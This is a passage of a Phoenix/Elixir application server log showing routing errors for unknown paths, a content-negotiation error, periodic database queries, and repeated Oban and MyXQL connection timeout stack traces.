    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:25:56.536000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.109:4966] GET /mcp
[Fri Sep  4 13:25:56.579000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.40:11926] GET /api/mcp
[Fri Sep  4 13:25:56.584000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.109:4966] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:25:56.604000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.40:11926] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:25:56.619000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.61:6228] GET /
[Fri Sep  4 13:25:56.619000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.61:6228] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 13:25:56.648000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.61:6228] Sent 406 in 29ms
[Fri Sep  4 13:25:56.650000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.61:6228] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:25:57.003000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.124.20.231:13830] GET /sse
[Fri Sep  4 13:25:57.016000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.124.20.231:13830] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1813.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:27:52.352000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Fri Sep  4 13:30:00.409000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1459.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 13:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 13:30:00.923000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=1104.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 13:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 13:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1728.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1649.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:53:20.749000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Fri Sep  4 13:55:16.564000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Fri Sep  4 13:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1617.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1550.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1521.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1478.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:30:01.105000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=12.8ms idle=1849.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 14:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 14:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1453.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1431.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 14:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms queue=0.1ms idle=1409.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:00:00.331000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1018.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 15:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 15:00:00.467000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1153.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 15:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 15:03:17.197000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:03:22.198000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:03:26.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:04:00.309000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:03.368000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:05.288000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:05.310000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:09.321000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:04:44.355000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:49.356000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:04:53.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:05:26.560000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:05:31.561000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:05:36.550000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:06:09.587000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:06:11.553000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:06:14.588000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:06:18.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
